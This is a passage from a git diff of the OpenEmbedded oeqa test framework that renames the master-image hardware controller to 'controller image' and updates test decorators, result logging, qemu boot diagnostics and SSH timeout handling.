+ # controller ssh connection
+ self.controller = None
+ # if the user knows what they are doing, then by all means...
+ self.user_cmds = d.getVar("TEST_DEPLOY_CMDS")
+ self.deploy_cmds = None
+
+ # this is the name of the command that controls the power for a board
+ # e.g: TEST_POWERCONTROL_CMD = "/home/user/myscripts/powercontrol.py ${MACHINE} what-ever-other-args-the-script-wants"
+ # the command should take as the last argument "off" and "on" and "cycle" (off, on)
+ self.powercontrol_cmd = d.getVar("TEST_POWERCONTROL_CMD") or None
+ self.powercontrol_args = d.getVar("TEST_POWERCONTROL_EXTRA_ARGS", False) or ""
+
+ self.serialcontrol_cmd = d.getVar("TEST_SERIALCONTROL_CMD") or None
+ self.serialcontrol_args = d.getVar("TEST_SERIALCONTROL_EXTRA_ARGS", False) or ""
+
+ self.origenv = os.environ
+ if self.powercontrol_cmd or self.serialcontrol_cmd:
+ # the external script for controlling power might use ssh
+ # ssh + keys means we need the original user env
+ bborigenv = d.getVar("BB_ORIGENV", False) or {}
+ for key in bborigenv:
+ val = bborigenv.getVar(key)
+ if val is not None:
+ self.origenv[key] = str(val)
+
+ if self.powercontrol_cmd:
+ if self.powercontrol_args:
+ self.powercontrol_cmd = "%s %s" % (self.powercontrol_cmd, self.powercontrol_args)
+ if self.serialcontrol_cmd:
+ if self.serialcontrol_args:
+ self.serialcontrol_cmd = "%s %s" % (self.serialcontrol_cmd, self.serialcontrol_args)
+
+ def power_ctl(self, msg):
+ if self.powercontrol_cmd:
+ cmd = "%s %s" % (self.powercontrol_cmd, msg)
+ try:
+ commands.runCmd(cmd, assert_error=False, start_new_session=True, env=self.origenv)
+ except CommandError as e:
+ bb.fatal(str(e))
+
+ def power_cycle(self, conn):
+ if self.powercontrol_cmd:
+ # be nice, don't just cut power
+ conn.run("shutdown -h now")
+ time.sleep(10)
+ self.power_ctl("cycle")
+ else:
+ status, output = conn.run("sync; { sleep 1; reboot; } > /dev/null &")
+ if status != 0:
+ bb.error("Failed rebooting target and no power control command defined. You need to manually reset the device.\n%s" % output)
+
+ def _wait_until_booted(self):
+ ''' Waits until the target device has booted (if we have just power cycled it) '''
+ # Subclasses with better methods of determining boot can override this
+ time.sleep(120)
+
+ def deploy(self):
+ # base class just sets the ssh log file for us
+ super(ControllerImageHardwareTarget, self).deploy()
+ self.controller = sshcontrol.SSHControl(ip=self.ip, logfile=self.sshlog, timeout=600, port=self.port)
+ status, output = self.controller.run("cat /etc/controllerimage")
+ if status != 0:
+ # We're not booted into the controller image, so try rebooting
+ bb.plain("%s - booting into the controller image" % self.pn)
+ self.power_ctl("cycle")
+ self._wait_until_booted()
+
+ bb.plain("%s - deploying image on target" % self.pn)
+ status, output = self.controller.run("cat /etc/controllerimage")
+ if status != 0:
+ bb.fatal("No ssh connectivity or target isn't running a controller image.\n%s" % output)
+ if self.user_cmds:
+ self.deploy_cmds = self.user_cmds.split("\n")
+ try:
+ self._deploy()
+ except Exception as e:
+ bb.fatal("Failed deploying test image: %s" % e)
+
+ @abstractmethod
+ def _deploy(self):
+ pass
+
+ def start(self, extra_bootparams=None):
+ bb.plain("%s - boot test image on target" % self.pn)
+ self._start()
+ # set the ssh object for the target/test image
+ self.connection = sshcontrol.SSHControl(self.ip, logfile=self.sshlog, port=self.port)
+ bb.plain("%s - start running tests" % self.pn)
+
+ @abstractmethod
+ def _start(self):
+ pass
+
+ def stop(self):
+ bb.plain("%s - reboot/powercycle target" % self.pn)
+ self.power_cycle(self.controller)
+
+
+class SystemdbootTarget(ControllerImageHardwareTarget):
+
+ def __init__(self, d):
+ super(SystemdbootTarget, self).__init__(d)
+ # this the value we need to set in the LoaderEntryOneShot EFI variable
+ # so the system boots the 'test' bootloader label and not the default
+ # The first four bytes are EFI bits, and the rest is an utf-16le string
+ # (EFI vars values need to be utf-16)
+ # $ echo -en "test\0" | iconv -f ascii -t utf-16le | hexdump -C
+ # 00000000 74 00 65 00 73 00 74 00 00 00 |t.e.s.t...|
+ self.efivarvalue = r'\x07\x00\x00\x00\x74\x00\x65\x00\x73\x00\x74\x00\x00\x00'
+ self.deploy_cmds = [
+ 'mount -L boot /boot',
+ 'mkdir -p /mnt/testrootfs',
+ 'mount -L testrootfs /mnt/testrootfs',
+ 'modprobe efivarfs',
+ 'mount -t efivarfs efivarfs /sys/firmware/efi/efivars',
+ 'cp ~/test-kernel /boot',
+ 'rm -rf /mnt/testrootfs/*',
+ 'tar xvf ~/test-rootfs.%s -C /mnt/testrootfs' % self.image_fstype,
+ 'printf "%s" > /sys/firmware/efi/efivars/LoaderEntryOneShot-4a67b082-0a4c-41cf-b6c7-440b29bb8c4f' % self.efivarvalue
+ ]
+
+ def _deploy(self):
+ # make sure these aren't mounted
+ self.controller.run("umount /boot; umount /mnt/testrootfs; umount /sys/firmware/efi/efivars;")
+ # from now on, every deploy cmd should return 0
+ # else an exception will be thrown by sshcontrol
+ self.controller.ignore_status = False
+ self.controller.copy_to(self.rootfs, "~/test-rootfs." + self.image_fstype)
+ self.controller.copy_to(self.kernel, "~/test-kernel")
+ for cmd in self.deploy_cmds:
+ self.controller.run(cmd)
+
+ def _start(self, params=None):
+ self.power_cycle(self.controller)
+ # there are better ways than a timeout but this should work for now
+ time.sleep(120)
diff --git a/meta/lib/oeqa/controllers/masterimage.py b/meta/lib/oeqa/controllers/masterimage.py
deleted file mode 100644
index 0bf5917e48..0000000000
--- a/meta/lib/oeqa/controllers/masterimage.py
+++ /dev/null
@@ -1,199 +0,0 @@
-# Copyright (C) 2014 Intel Corporation
-#
-# SPDX-License-Identifier: MIT
-#
-# This module adds support to testimage.bbclass to deploy images and run
-# tests using a "master image" - this is a "known good" image that is
-# installed onto the device as part of initial setup and will be booted into
-# with no interaction; we can then use it to deploy the image to be tested
-# to a second partition before running the tests.
-#
-# For an example master image, see core-image-testmaster
-# (meta/recipes-extended/images/core-image-testmaster.bb)
-
-import os
-import bb
-import traceback
-import time
-import subprocess
-
-import oeqa.targetcontrol
-import oeqa.utils.sshcontrol as sshcontrol
-import oeqa.utils.commands as commands
-from oeqa.utils import CommandError
-
-from abc import ABCMeta, abstractmethod
-
-class MasterImageHardwareTarget(oeqa.targetcontrol.BaseTarget, metaclass=ABCMeta):
-
- supported_image_fstypes = ['tar.gz', 'tar.bz2']
-
- def __init__(self, d):
- super(MasterImageHardwareTarget, self).__init__(d)
-
- # target ip
- addr = d.getVar("TEST_TARGET_IP") or bb.fatal('Please set TEST_TARGET_IP with the IP address of the machine you want to run the tests on.')
- self.ip = addr.split(":")[0]
- try:
- self.port = addr.split(":")[1]
- except IndexError:
- self.port = None
- bb.note("Target IP: %s" % self.ip)
- self.server_ip = d.getVar("TEST_SERVER_IP")
- if not self.server_ip:
- try:
- self.server_ip = subprocess.check_output(['ip', 'route', 'get', self.ip ]).split("\n")[0].split()[-1]
- except Exception as e:
- bb.fatal("Failed to determine the host IP address (alternatively you can set TEST_SERVER_IP with the IP address of this machine): %s" % e)
- bb.note("Server IP: %s" % self.server_ip)
-
- # test rootfs + kernel
- self.image_fstype = self.get_image_fstype(d)
- self.rootfs = os.path.join(d.getVar("DEPLOY_DIR_IMAGE"), d.getVar("IMAGE_LINK_NAME") + '.' + self.image_fstype)
- self.kernel = os.path.join(d.getVar("DEPLOY_DIR_IMAGE"), d.getVar("KERNEL_IMAGETYPE", False) + '-' + d.getVar('MACHINE', False) + '.bin')
- if not os.path.isfile(self.rootfs):
- # we could've checked that IMAGE_FSTYPES contains tar.gz but the config for running testimage might not be
- # the same as the config with which the image was build, ie
- # you bitbake core-image-sato with IMAGE_FSTYPES += "tar.gz"
- # and your autobuilder overwrites the config, adds the test bits and runs bitbake core-image-sato -c testimage
- bb.fatal("No rootfs found. Did you build the image ?\nIf yes, did you build it with IMAGE_FSTYPES += \"tar.gz\" ? \
- \nExpected path: %s" % self.rootfs)
- if not os.path.isfile(self.kernel):
- bb.fatal("No kernel found. Expected path: %s" % self.kernel)
-
- # master ssh connection
- self.master = None
- # if the user knows what they are doing, then by all means...
- self.user_cmds = d.getVar("TEST_DEPLOY_CMDS")
- self.deploy_cmds = None
-
- # this is the name of the command that controls the power for a board
- # e.g: TEST_POWERCONTROL_CMD = "/home/user/myscripts/powercontrol.py ${MACHINE} what-ever-other-args-the-script-wants"
- # the command should take as the last argument "off" and "on" and "cycle" (off, on)
- self.powercontrol_cmd = d.getVar("TEST_POWERCONTROL_CMD") or None
- self.powercontrol_args = d.getVar("TEST_POWERCONTROL_EXTRA_ARGS", False) or ""
-
- self.serialcontrol_cmd = d.getVar("TEST_SERIALCONTROL_CMD") or None
- self.serialcontrol_args = d.getVar("TEST_SERIALCONTROL_EXTRA_ARGS", False) or ""
-
- self.origenv = os.environ
- if self.powercontrol_cmd or self.serialcontrol_cmd:
- # the external script for controlling power might use ssh
- # ssh + keys means we need the original user env
- bborigenv = d.getVar("BB_ORIGENV", False) or {}
- for key in bborigenv:
- val = bborigenv.getVar(key)
- if val is not None:
- self.origenv[key] = str(val)
-
- if self.powercontrol_cmd:
- if self.powercontrol_args:
- self.powercontrol_cmd = "%s %s" % (self.powercontrol_cmd, self.powercontrol_args)
- if self.serialcontrol_cmd:
- if self.serialcontrol_args:
- self.serialcontrol_cmd = "%s %s" % (self.serialcontrol_cmd, self.serialcontrol_args)
-
- def power_ctl(self, msg):
- if self.powercontrol_cmd:
- cmd = "%s %s" % (self.powercontrol_cmd, msg)
- try:
- commands.runCmd(cmd, assert_error=False, start_new_session=True, env=self.origenv)
- except CommandError as e:
- bb.fatal(str(e))
-
- def power_cycle(self, conn):
- if self.powercontrol_cmd:
- # be nice, don't just cut power
- conn.run("shutdown -h now")
- time.sleep(10)
- self.power_ctl("cycle")
- else:
- status, output = conn.run("sync; { sleep 1; reboot; } > /dev/null &")
- if status != 0:
- bb.error("Failed rebooting target and no power control command defined. You need to manually reset the device.\n%s" % output)
-
- def _wait_until_booted(self):
- ''' Waits until the target device has booted (if we have just power cycled it) '''
- # Subclasses with better methods of determining boot can override this
- time.sleep(120)
-
- def deploy(self):
- # base class just sets the ssh log file for us
- super(MasterImageHardwareTarget, self).deploy()
- self.master = sshcontrol.SSHControl(ip=self.ip, logfile=self.sshlog, timeout=600, port=self.port)
- status, output = self.master.run("cat /etc/masterimage")
- if status != 0:
- # We're not booted into the master image, so try rebooting
- bb.plain("%s - booting into the master image" % self.pn)
- self.power_ctl("cycle")
- self._wait_until_booted()
-
- bb.plain("%s - deploying image on target" % self.pn)
- status, output = self.master.run("cat /etc/masterimage")
- if status != 0:
- bb.fatal("No ssh connectivity or target isn't running a master image.\n%s" % output)
- if self.user_cmds:
- self.deploy_cmds = self.user_cmds.split("\n")
- try:
- self._deploy()
- except Exception as e:
- bb.fatal("Failed deploying test image: %s" % e)
-
- @abstractmethod
- def _deploy(self):
- pass
-
- def start(self, extra_bootparams=None):
- bb.plain("%s - boot test image on target" % self.pn)
- self._start()
- # set the ssh object for the target/test image
- self.connection = sshcontrol.SSHControl(self.ip, logfile=self.sshlog, port=self.port)
- bb.plain("%s - start running tests" % self.pn)
-
- @abstractmethod
- def _start(self):
- pass
-
- def stop(self):
- bb.plain("%s - reboot/powercycle target" % self.pn)
- self.power_cycle(self.master)
-
-
-class SystemdbootTarget(MasterImageHardwareTarget):
-
- def __init__(self, d):
- super(SystemdbootTarget, self).__init__(d)
- # this the value we need to set in the LoaderEntryOneShot EFI variable
- # so the system boots the 'test' bootloader label and not the default
- # The first four bytes are EFI bits, and the rest is an utf-16le string
- # (EFI vars values need to be utf-16)
- # $ echo -en "test\0" | iconv -f ascii -t utf-16le | hexdump -C
- # 00000000 74 00 65 00 73 00 74 00 00 00 |t.e.s.t...|
- self.efivarvalue = r'\x07\x00\x00\x00\x74\x00\x65\x00\x73\x00\x74\x00\x00\x00'
- self.deploy_cmds = [
- 'mount -L boot /boot',
- 'mkdir -p /mnt/testrootfs',
- 'mount -L testrootfs /mnt/testrootfs',
- 'modprobe efivarfs',
- 'mount -t efivarfs efivarfs /sys/firmware/efi/efivars',
- 'cp ~/test-kernel /boot',
- 'rm -rf /mnt/testrootfs/*',
- 'tar xvf ~/test-rootfs.%s -C /mnt/testrootfs' % self.image_fstype,
- 'printf "%s" > /sys/firmware/efi/efivars/LoaderEntryOneShot-4a67b082-0a4c-41cf-b6c7-440b29bb8c4f' % self.efivarvalue
- ]
-
- def _deploy(self):
- # make sure these aren't mounted
- self.master.run("umount /boot; umount /mnt/testrootfs; umount /sys/firmware/efi/efivars;")
- # from now on, every deploy cmd should return 0
- # else an exception will be thrown by sshcontrol
- self.master.ignore_status = False
- self.master.copy_to(self.rootfs, "~/test-rootfs." + self.image_fstype)
- self.master.copy_to(self.kernel, "~/test-kernel")
- for cmd in self.deploy_cmds:
- self.master.run(cmd)
-
- def _start(self, params=None):
- self.power_cycle(self.master)
- # there are better ways than a timeout but this should work for now
- time.sleep(120)
diff --git a/meta/lib/oeqa/controllers/testtargetloader.py b/meta/lib/oeqa/controllers/testtargetloader.py
index 23101c7371..209ff7061a 100644
--- a/meta/lib/oeqa/controllers/testtargetloader.py
+++ b/meta/lib/oeqa/controllers/testtargetloader.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
diff --git a/meta/lib/oeqa/core/case.py b/meta/lib/oeqa/core/case.py
index aae451fef2..bc4446a938 100644
--- a/meta/lib/oeqa/core/case.py
+++ b/meta/lib/oeqa/core/case.py
@@ -43,8 +43,13 @@ class OETestCase(unittest.TestCase):
clss.tearDownClassMethod()
def _oeSetUp(self):
- for d in self.decorators:
- d.setUpDecorator()
+ try:
+ for d in self.decorators:
+ d.setUpDecorator()
+ except:
+ for d in self.decorators:
+ d.tearDownDecorator()
+ raise
self.setUpMethod()
def _oeTearDown(self):
diff --git a/meta/lib/oeqa/core/context.py b/meta/lib/oeqa/core/context.py
index 7d3fa3b84a..9313271f58 100644
--- a/meta/lib/oeqa/core/context.py
+++ b/meta/lib/oeqa/core/context.py
@@ -31,6 +31,9 @@ class OETestContext(object):
self._registry = {}
self._registry['cases'] = collections.OrderedDict()
+ self.results = unittest.TestResult()
+ unittest.registerResult(self.results)
+
def _read_modules_from_manifest(self, manifest):
if not os.path.exists(manifest):
raise OEQAMissingManifest("Manifest does not exist on %s" % manifest)
@@ -78,10 +81,11 @@ class OETestContext(object):
def runTests(self, processes=None, skips=[]):
self.runner = self.runnerClass(self, descriptions=False, verbosity=2)
- # Dinamically skip those tests specified though arguments
+ # Dynamically skip those tests specified though arguments
self.skipTests(skips)
self._run_start_time = time.time()
+ self._run_end_time = self._run_start_time
if not processes:
self.runner.buffer = True
result = self.runner.run(self.prepareSuite(self.suites, processes))
diff --git a/meta/lib/oeqa/core/decorator/__init__.py b/meta/lib/oeqa/core/decorator/__init__.py
index 1a82518ab6..93efd30e1d 100644
--- a/meta/lib/oeqa/core/decorator/__init__.py
+++ b/meta/lib/oeqa/core/decorator/__init__.py
@@ -5,8 +5,7 @@
#
from functools import wraps
-from abc import abstractmethod, ABCMeta
-from oeqa.core.utils.misc import strToList
+from abc import ABCMeta
decoratorClasses = set()
@@ -65,15 +64,11 @@ class OETestDiscover(OETestDecorator):
return registry['cases']
def OETestTag(*tags):
- expandedtags = []
- for tag in tags:
- expandedtags += strToList(tag)
def decorator(item):
if hasattr(item, "__oeqa_testtags"):
# do not append, create a new list (to handle classes with inheritance)
- item.__oeqa_testtags = list(item.__oeqa_testtags) + expandedtags
+ item.__oeqa_testtags = list(item.__oeqa_testtags) + list(tags)
else:
- item.__oeqa_testtags = expandedtags
+ item.__oeqa_testtags = tags
return item
return decorator
-
diff --git a/meta/lib/oeqa/core/decorator/data.py b/meta/lib/oeqa/core/decorator/data.py
index bc4939e87c..5444b2cb75 100644
--- a/meta/lib/oeqa/core/decorator/data.py
+++ b/meta/lib/oeqa/core/decorator/data.py
@@ -13,8 +13,8 @@ def has_feature(td, feature):
Checks for feature in DISTRO_FEATURES or IMAGE_FEATURES.
"""
- if (feature in td.get('DISTRO_FEATURES', '') or
- feature in td.get('IMAGE_FEATURES', '')):
+ if (feature in td.get('DISTRO_FEATURES', '').split() or
+ feature in td.get('IMAGE_FEATURES', '').split()):
return True
return False
@@ -23,18 +23,7 @@ def has_machine(td, machine):
Checks for MACHINE.
"""
- if (machine in td.get('MACHINE', '')):
- return True
- return False
-
-def is_qemu(td, qemu):
- """
- Checks if MACHINE is qemu.
- """
-
- machine = td.get('MACHINE', '')
- if (qemu in td.get('MACHINE', '') or
- machine.startswith('qemu')):
+ if (machine == td.get('MACHINE', '')):
return True
return False
@@ -189,34 +178,53 @@ class skipIfMachine(OETestDecorator):
@registerDecorator
class skipIfNotQemu(OETestDecorator):
"""
- Skip test based on MACHINE.
-
- value must be a qemu MACHINE or it will skip the test
- with msg as the reason.
+ Skip test if MACHINE is not qemu*
"""
+ def setUpDecorator(self):
+ self.logger.debug("Checking if not qemu MACHINE")
+ if not self.case.td.get('MACHINE', '').startswith('qemu'):
+ self.case.skipTest('Test only runs on qemu machines')
- attrs = ('value', 'msg')
-
+@registerDecorator
+class skipIfNotQemuUsermode(OETestDecorator):
+ """
+ Skip test if MACHINE_FEATURES does not contain qemu-usermode
+ """
def setUpDecorator(self):
- msg = ('Checking if %s is not this MACHINE' % self.value)
- self.logger.debug(msg)
- if not is_qemu(self.case.td, self.value):
- self.case.skipTest(self.msg)
+ self.logger.debug("Checking if MACHINE_FEATURES does not contain qemu-usermode")
+ if 'qemu-usermode' not in self.case.td.get('MACHINE_FEATURES', '').split():
+ self.case.skipTest('Test requires qemu-usermode in MACHINE_FEATURES')
@registerDecorator
class skipIfQemu(OETestDecorator):
"""
- Skip test based on Qemu Machine.
-
- value must not be a qemu machine or it will skip the test
- with msg as the reason.
- """
+ Skip test if MACHINE is qemu*
+ """
+ def setUpDecorator(self):
+ self.logger.debug("Checking if qemu MACHINE")
+ if self.case.td.get('MACHINE', '').startswith('qemu'):
+ self.case.skipTest('Test only runs on real hardware')
- attrs = ('value', 'msg')
+@registerDecorator
+class skipIfArch(OETestDecorator):
+ """
+ Skip test if HOST_ARCH is present in the tuple specified.
+ """
+ attrs = ('archs',)
def setUpDecorator(self):
- msg = ('Checking if %s is this MACHINE' % self.value)
- self.logger.debug(msg)
- if is_qemu(self.case.td, self.value):
- self.case.skipTest(self.msg)
+ arch = self.case.td['HOST_ARCH']
+ if arch in self.archs:
+ self.case.skipTest('Test skipped on %s' % arch)
+
+@registerDecorator
+class skipIfNotArch(OETestDecorator):
+ """
+ Skip test if HOST_ARCH is not present in the tuple specified.
+ """
+ attrs = ('archs',)
+ def setUpDecorator(self):
+ arch = self.case.td['HOST_ARCH']
+ if arch not in self.archs:
+ self.case.skipTest('Test skipped on %s' % arch)
diff --git a/meta/lib/oeqa/core/decorator/oetimeout.py b/meta/lib/oeqa/core/decorator/oetimeout.py
index df90d1c798..5e6873ad48 100644
--- a/meta/lib/oeqa/core/decorator/oetimeout.py
+++ b/meta/lib/oeqa/core/decorator/oetimeout.py
@@ -24,5 +24,6 @@ class OETimeout(OETestDecorator):
def tearDownDecorator(self):
signal.alarm(0)
- signal.signal(signal.SIGALRM, self.alarmSignal)
- self.logger.debug("Removed SIGALRM handler")
+ if hasattr(self, 'alarmSignal'):
+ signal.signal(signal.SIGALRM, self.alarmSignal)
+ self.logger.debug("Removed SIGALRM handler")
diff --git a/meta/lib/oeqa/core/loader.py b/meta/lib/oeqa/core/loader.py
index 11978213b8..d12d5a055c 100644
--- a/meta/lib/oeqa/core/loader.py
+++ b/meta/lib/oeqa/core/loader.py
@@ -37,7 +37,7 @@ def _find_duplicated_modules(suite, directory):
if path:
raise ImportError("Duplicated %s module found in %s" % (module, path))
-def _built_modules_dict(modules):
+def _built_modules_dict(modules, logger):
modules_dict = {}
if modules == None:
@@ -48,6 +48,9 @@ def _built_modules_dict(modules):
# characters, whereas class names do
m = re.match(r'^([0-9a-z_.]+)(?:\.(\w[^.]*)(?:\.([^.]+))?)?$', module, flags=re.ASCII)
if not m:
+ logger.warn("module '%s' was skipped from selected modules, "\
+ "because it doesn't match with module name assumptions: "\
+ "package and module names do not contain upper case characters, whereas class names do" % module)
continue
module_name, class_name, test_name = m.groups()
@@ -58,6 +61,8 @@ def _built_modules_dict(modules):
modules_dict[module_name][class_name] = []
if test_name and test_name not in modules_dict[module_name][class_name]:
modules_dict[module_name][class_name].append(test_name)
+ if modules and not modules_dict:
+ raise OEQATestNotFound("All selected modules were skipped, this would trigger selftest with all tests and -r ignored.")
return modules_dict
@@ -71,7 +76,7 @@ class OETestLoader(unittest.TestLoader):
*args, **kwargs):
self.tc = tc
- self.modules = _built_modules_dict(modules)
+ self.modules = _built_modules_dict(modules, tc.logger)
self.tests = tests
self.modules_required = modules_required
@@ -311,6 +316,9 @@ class OETestLoader(unittest.TestLoader):
module_name_small in self.modules) \
else False
+ if any(c.isupper() for c in module.__name__):
+ raise SystemExit("Module '%s' contains uppercase characters and this isn't supported. Please fix the module name." % module.__name__)
+
return (load_module, load_underscore)
diff --git a/meta/lib/oeqa/core/runner.py b/meta/lib/oeqa/core/runner.py
index d50690ab37..a86a706bd9 100644
--- a/meta/lib/oeqa/core/runner.py
+++ b/meta/lib/oeqa/core/runner.py
@@ -44,6 +44,7 @@ class OETestResult(_TestResult):
self.endtime = {}
self.progressinfo = {}
self.extraresults = {}
+ self.shownmsg = []
# Inject into tc so that TestDepends decorator can see results
tc.results = self
@@ -74,6 +75,7 @@ class OETestResult(_TestResult):
for (scase, msg) in getattr(self, t):
if test.id() == scase.id():
self.tc.logger.info(str(msg))
+ self.shownmsg.append(test.id())
break
def logSummary(self, component, context_msg=''):
@@ -169,7 +171,6 @@ class OETestResult(_TestResult):
def logDetails(self, json_file_dir=None, configuration=None, result_id=None,
dump_streams=False):
- self.tc.logger.info("RESULTS:")
result = self.extraresults
logs = {}
@@ -193,6 +194,10 @@ class OETestResult(_TestResult):
report = {'status': status}
if log:
report['log'] = log
+ # Class setup failures wouldn't enter stopTest so would never display
+ if case.id() not in self.shownmsg:
+ self.tc.logger.info("Failure (%s) for %s:\n" % (status, case.id()) + log)
+
if duration:
report['duration'] = duration
@@ -215,6 +220,7 @@ class OETestResult(_TestResult):
report['stderr'] = stderr
result[case.id()] = report
+ self.tc.logger.info("RESULTS:")
for i in ['PASSED', 'SKIPPED', 'EXPECTEDFAIL', 'ERROR', 'FAILED', 'UNKNOWN']:
if i not in logs:
continue
@@ -229,6 +235,10 @@ class OETestResult(_TestResult):
# Override as we unexpected successes aren't failures for us
return (len(self.failures) == len(self.errors) == 0)
+ def hasAnyFailingTest(self):
+ # Account for expected failures
+ return not self.wasSuccessful() or len(self.expectedFailures)
+
class OEListTestsResult(object):
def wasSuccessful(self):
return True
diff --git a/meta/lib/oeqa/core/target/qemu.py b/meta/lib/oeqa/core/target/qemu.py
index 295e8765e9..d93b3ac94a 100644
--- a/meta/lib/oeqa/core/target/qemu.py
+++ b/meta/lib/oeqa/core/target/qemu.py
@@ -8,6 +8,8 @@ import os
import sys
import signal
import time
+import glob
+import subprocess
from collections import defaultdict
from .ssh import OESSHTarget
@@ -18,9 +20,9 @@ supported_fstypes = ['ext3', 'ext4', 'cpio.gz', 'wic']
class OEQemuTarget(OESSHTarget):
def __init__(self, logger, server_ip, timeout=300, user='root',
port=None, machine='', rootfs='', kernel='', kvm=False, slirp=False,
- dump_dir='', dump_host_cmds='', display='', bootlog='',
+ dump_dir='', display='', bootlog='',
tmpdir='', dir_image='', boottime=60, serial_ports=2,
- boot_patterns = defaultdict(str), ovmf=False, **kwargs):
+ boot_patterns = defaultdict(str), ovmf=False, tmpfsdir=None, **kwargs):
super(OEQemuTarget, self).__init__(logger, None, server_ip, timeout,
user, port)
@@ -34,14 +36,15 @@ class OEQemuTarget(OESSHTarget):
self.ovmf = ovmf
self.use_slirp = slirp
self.boot_patterns = boot_patterns
+ self.dump_dir = dump_dir
+ self.bootlog = bootlog
self.runner = QemuRunner(machine=machine, rootfs=rootfs, tmpdir=tmpdir,
deploy_dir_image=dir_image, display=display,
logfile=bootlog, boottime=boottime,
- use_kvm=kvm, use_slirp=slirp, dump_dir=dump_dir,
- dump_host_cmds=dump_host_cmds, logger=logger,
+ use_kvm=kvm, use_slirp=slirp, dump_dir=dump_dir, logger=logger,
serial_ports=serial_ports, boot_patterns = boot_patterns,
- use_ovmf=ovmf)
+ use_ovmf=ovmf, tmpfsdir=tmpfsdir)
def start(self, params=None, extra_bootparams=None, runqemuparams=''):
if self.use_slirp and not self.server_ip:
@@ -64,7 +67,28 @@ class OEQemuTarget(OESSHTarget):
self.server_ip = self.runner.server_ip
else:
self.stop()
- raise RuntimeError("FAILED to start qemu - check the task log and the boot log")
+ # Display the first 20 lines of top and
+ # last 20 lines of the bootlog when the
+ # target is not being booted up.
+ topfile = glob.glob(self.dump_dir + "/*_qemu/host_*_top")
+ msg = "\n\n===== start: snippet =====\n\n"
+ for f in topfile:
+ msg += "file: %s\n\n" % f
+ with open(f) as tf:
+ for x in range(20):
+ msg += next(tf)
+ msg += "\n\n===== end: snippet =====\n\n"
+ blcmd = ["tail", "-20", self.bootlog]
+ msg += "===== start: snippet =====\n\n"
+ try:
+ out = subprocess.check_output(blcmd, stderr=subprocess.STDOUT, timeout=1).decode('utf-8')
+ msg += "file: %s\n\n" % self.bootlog
+ msg += out
+ except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError) as err:
+ msg += "Error running command: %s\n%s\n" % (blcmd, err)
+ msg += "\n\n===== end: snippet =====\n"
+
+ raise RuntimeError("FAILED to start qemu - check the task log and the boot log %s" % (msg))
def stop(self):
self.runner.stop()
diff --git a/meta/lib/oeqa/core/target/ssh.py b/meta/lib/oeqa/core/target/ssh.py
index aefb576805..09cdd14c75 100644
--- a/meta/lib/oeqa/core/target/ssh.py
+++ b/meta/lib/oeqa/core/target/ssh.py
@@ -34,12 +34,17 @@ class OESSHTarget(OETarget):
self.timeout = timeout
self.user = user
ssh_options = [
+ '-o', 'ServerAliveCountMax=2',
+ '-o', 'ServerAliveInterval=30',
'-o', 'UserKnownHostsFile=/dev/null',
'-o', 'StrictHostKeyChecking=no',
'-o', 'LogLevel=ERROR'
]
+ scp_options = [
+ '-r'
+ ]
self.ssh = ['ssh', '-l', self.user ] + ssh_options
- self.scp = ['scp'] + ssh_options
+ self.scp = ['scp'] + ssh_options + scp_options
if port:
self.ssh = self.ssh + [ '-p', port ]
self.scp = self.scp + [ '-P', port ]
@@ -67,7 +72,7 @@ class OESSHTarget(OETarget):
return (status, output)
- def run(self, command, timeout=None):
+ def run(self, command, timeout=None, ignore_status=True):
"""
Runs command in target.
@@ -86,8 +91,9 @@ class OESSHTarget(OETarget):
else:
processTimeout = self.timeout
- status, output = self._run(sshCmd, processTimeout, True)
- self.logger.debug('Command: %s\nOutput: %s\n' % (command, output))
+ status, output = self._run(sshCmd, processTimeout, ignore_status)
+ self.logger.debug('Command: %s\nStatus: %d Output: %s\n' % (command, status, output))
+
return (status, output)
def copyTo(self, localSrc, remoteDst):
@@ -205,27 +211,41 @@ def SSHCall(command, logger, timeout=None, **opts):
def run():
nonlocal output
nonlocal process
+ output_raw = b''
starttime = time.time()
process = subprocess.Popen(command, **options)
+ has_timeout = False
if timeout:
endtime = starttime + timeout
eof = False
- while time.time() < endtime and not eof:
- logger.debug('time: %s, endtime: %s' % (time.time(), endtime))
+ os.set_blocking(process.stdout.fileno(), False)
+ while not has_timeout and not eof:
try:
+ logger.debug('Waiting for process output: time: %s, endtime: %s' % (time.time(), endtime))
if select.select([process.stdout], [], [], 5)[0] != []:
- reader = codecs.getreader('utf-8')(process.stdout, 'ignore')
- data = reader.read(1024, 4096)
+ # wait a bit for more data, tries to avoid reading single characters
+ time.sleep(0.2)
+ data = process.stdout.read()
if not data:
- process.stdout.close()
eof = True
else:
- output += data
- logger.debug('Partial data from SSH call: %s' % data)
+ output_raw += data
+ # ignore errors to capture as much as possible
+ logger.debug('Partial data from SSH call:\n%s' % data.decode('utf-8', errors='ignore'))
endtime = time.time() + timeout
except InterruptedError:
+ logger.debug('InterruptedError')
+ continue
+ except BlockingIOError:
+ logger.debug('BlockingIOError')
continue
+ if time.time() >= endtime:
+ logger.debug('SSHCall has timeout! Time: %s, endtime: %s' % (time.time(), endtime))
+ has_timeout = True
+
+ process.stdout.close()
+
# process hasn't returned yet
if not eof:
process.terminate()
@@ -233,16 +253,42 @@ def SSHCall(command, logger, timeout=None, **opts):
try:
process.kill()
except OSError:
+ logger.debug('OSError when killing process')
pass
endtime = time.time() - starttime
lastline = ("\nProcess killed - no output for %d seconds. Total"
" running time: %d seconds." % (timeout, endtime))
- logger.debug('Received data from SSH call %s ' % lastline)
+ logger.debug('Received data from SSH call:\n%s ' % lastline)
output += lastline
+ process.wait()
else:
- output = process.communicate()[0].decode('utf-8', errors='ignore')
- logger.debug('Data from SSH call: %s' % output.rstrip())
+ output_raw = process.communicate()[0]
+
+ output = output_raw.decode('utf-8', errors='ignore')
+ logger.debug('Data from SSH call:\n%s' % output.rstrip())
+
+ # timout or not, make sure process exits and is not hanging
+ if process.returncode == None:
+ try:
+ process.wait(timeout=5)
+ except TimeoutExpired:
+ try:
+ process.kill()
+ except OSError:
+ logger.debug('OSError')
+ pass
+ process.wait()
+
+ if has_timeout:
+ # Version of openssh before 8.6_p1 returns error code 0 when killed
+ # by a signal, when the timeout occurs we will receive a 0 error
+ # code because the process is been terminated and it's wrong because
+ # that value means success, but the process timed out.
+ # Afterwards, from version 8.6_p1 onwards, the returned code is 255.
+ # Fix this behaviour by checking the return code
+ if process.returncode == 0:
+ process.returncode = 255
options = {
"stdout": subprocess.PIPE,
